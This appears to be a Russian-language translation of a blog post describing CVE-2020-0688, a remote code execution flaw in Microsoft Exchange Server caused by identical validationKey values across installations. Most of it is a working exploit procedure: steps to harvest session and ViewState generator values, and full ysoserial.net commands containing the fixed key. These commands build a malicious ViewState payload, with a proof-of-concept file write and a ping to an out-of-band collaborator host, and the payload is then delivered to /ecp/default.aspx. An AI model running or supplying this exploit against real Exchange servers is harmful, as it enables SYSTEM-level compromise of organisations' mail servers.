
[CVE-2020-0688] Microsoft Exchange Server — удаленное выполнение кода (RCE) через фиксированный криптографический ключ
[CVE-2020-0688] Microsoft Exchange Server: удаленное выполнение кода (RCE) через фиксированный криптографический ключ
Вместо случайно генерируемых для каждой установки ключей все установки Microsoft Exchange Server имеют одинаковые значения validationKey и decryptionKey в web.config. Таким образом, аутентифицированный злоумышленник может заставить сервер десериализовать вредоносно сформированные данные ViewState. С помощью YSoSerial.net злоумышленник может выполнить произвольный .NET-код на сервере в контексте веб-приложения Exchange Control Panel (ECP), которое работает с привилегиями SYSTEM.
Шаг 1: Посетите один из следующих endpoint-ов и получите доступ к странице аутентификации
Шаг 2: Войдите с учётными данными (независимо от привилегий учётной записи) и получите валидные значения ASP_NET_SessionId и __VIEWSTATEGENERATOR из Cookie HTTP-ответа и тела HTTP-ответа соответственно. Например
Шаг 3: Чтобы сгенерировать payload (для проверки уязвимости), используйте YSoSerial.net
Обратите внимание: если у вас есть доступ к серверу Exchange жертвы, вы можете использовать следующий payload, который создаст текстовый файл с именем PoC.txt в каталоге C:\
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Однако, если у вас нет доступа к серверу, следующий вариант может быть лучше.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Шаг 4: После шага 4 у нас будет URL-encoded payload ViewState. Выполните GET-запрос к указанному ниже endpoint в следующем формате
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
Оригинальный пост в блоге доступен здесь